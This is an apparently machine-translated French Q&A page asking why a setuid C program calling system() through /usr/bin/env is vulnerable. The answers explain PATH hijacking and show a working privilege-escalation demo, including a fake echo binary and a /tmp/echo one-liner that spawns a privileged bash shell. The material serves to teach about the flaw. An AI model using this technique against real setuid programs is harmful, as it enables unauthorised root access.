Question

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}

La façon dont je le comprends, le code ci-dessus permet un code arbitraire (ou programme) exécution - ce qui rend cette vulnérabilité, et comment peut-on prendre avantage de cette

Était-ce utile?

La solution

Vous pouvez remplacer la variable PATH pour pointer vers un répertoire avec votre version personnalisée de echo et depuis echo est exécutée à l'aide env, il n'est pas traitée comme. Intégrée

Cette CONSTITUE une vulnérabilité que si le code est exécuté comme utilisateur privilégié.

Dans l'exemple ci-dessous le fichier v.c contient le code de la question.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Notez que le réglage de ID utilisateur réel, ID utilisateur efficace et enregistré set-ID utilisateur par un appel à setresuid() avant l'appel à system() dans le code vulnérable affiché dans la question permet un d'exploiter la vulnérabilité même si efficace que ID utilisateur est défini sur un ID utilisateur privilégié et ID utilisateur réel reste non privilégié (comme par exemple le cas lorsqu'il se fie à bit set-user-ID sur un fichier comme ci-dessus). Sans l'appel à setresuid() le shell géré par system() réinitialisait le dos efficace ID utilisateur de l'ID utilisateur réel faisant l'exploit inefficace. Toutefois, dans le cas où le code vulnérable est exécuté avec l'ID utilisateur réel d'un utilisateur privilégié, appel system() seul suffit. Citant page man sh:

Si le shell est démarré avec l'ID utilisateur effectif (groupe) ne pas correspondre à l'utilisateur réel (GID), et l'option -p n'est pas fourni, aucun fichier de démarrage sont lu, les fonctions shell ne sont pas héritées de l'environnement, la variable SHELLOPTS, si elle apparaît dans l'environnement, est ignoré, et l'utilisateur effectif id est réglé sur l'ID utilisateur réel. Si l'option -p est fournie à l'invocation, le démarrage le comportement est le même, mais l'ID utilisateur effectif n'est pas.

En outre, notez que setresuid() n'est pas portable, mais setuid() ou setreuid() peut également être utilisé pour le même effet.

Autres conseils

bien fait sur la fonction du système que vous appelez peut jouer avec la commande echo. par exemple, si vous exécutez le code suivant:

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

vous obtiendrez une coquille avec la permission du propriétaire du fichier

Licencié sous: CC-BY-SA avec attribution
Non affilié à StackOverflow
scroll top